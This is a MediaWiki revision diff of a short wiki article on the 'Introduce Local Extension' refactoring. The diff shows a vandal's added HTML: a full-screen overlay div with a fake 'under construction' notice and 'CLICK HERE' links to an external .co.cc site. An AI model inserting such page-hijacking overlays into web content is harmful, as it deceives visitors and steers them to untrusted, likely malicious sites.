Introduce Local Extension
From CSSEMediaWiki
(Difference between revisions)
Brett Ward (Talk | contribs) (Page Outline Added) |
|||
Line 3: | Line 3: | ||
A new class should be created, containing the extra methods needed. This "extension" class should be made into a subclass or wrapper of the original server class. | A new class should be created, containing the extra methods needed. This "extension" class should be made into a subclass or wrapper of the original server class. | ||
− | == See Also == | + | >== See Also == |
{{Refactoring}} | {{Refactoring}} | ||
+ | |||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://uvanagy.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]= | ||
+ | ---- | ||
+ | =[http://uvanagy.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> |
Revision as of 04:48, 18 November 2010
Similar to Introduce Foreign Method, this refactoring is when you have several additional methods that need to be added to a server class, but the source code cannot be altered.
A new class should be created, containing the extra methods needed. This "extension" class should be made into a subclass or wrapper of the original server class.
>== See Also ==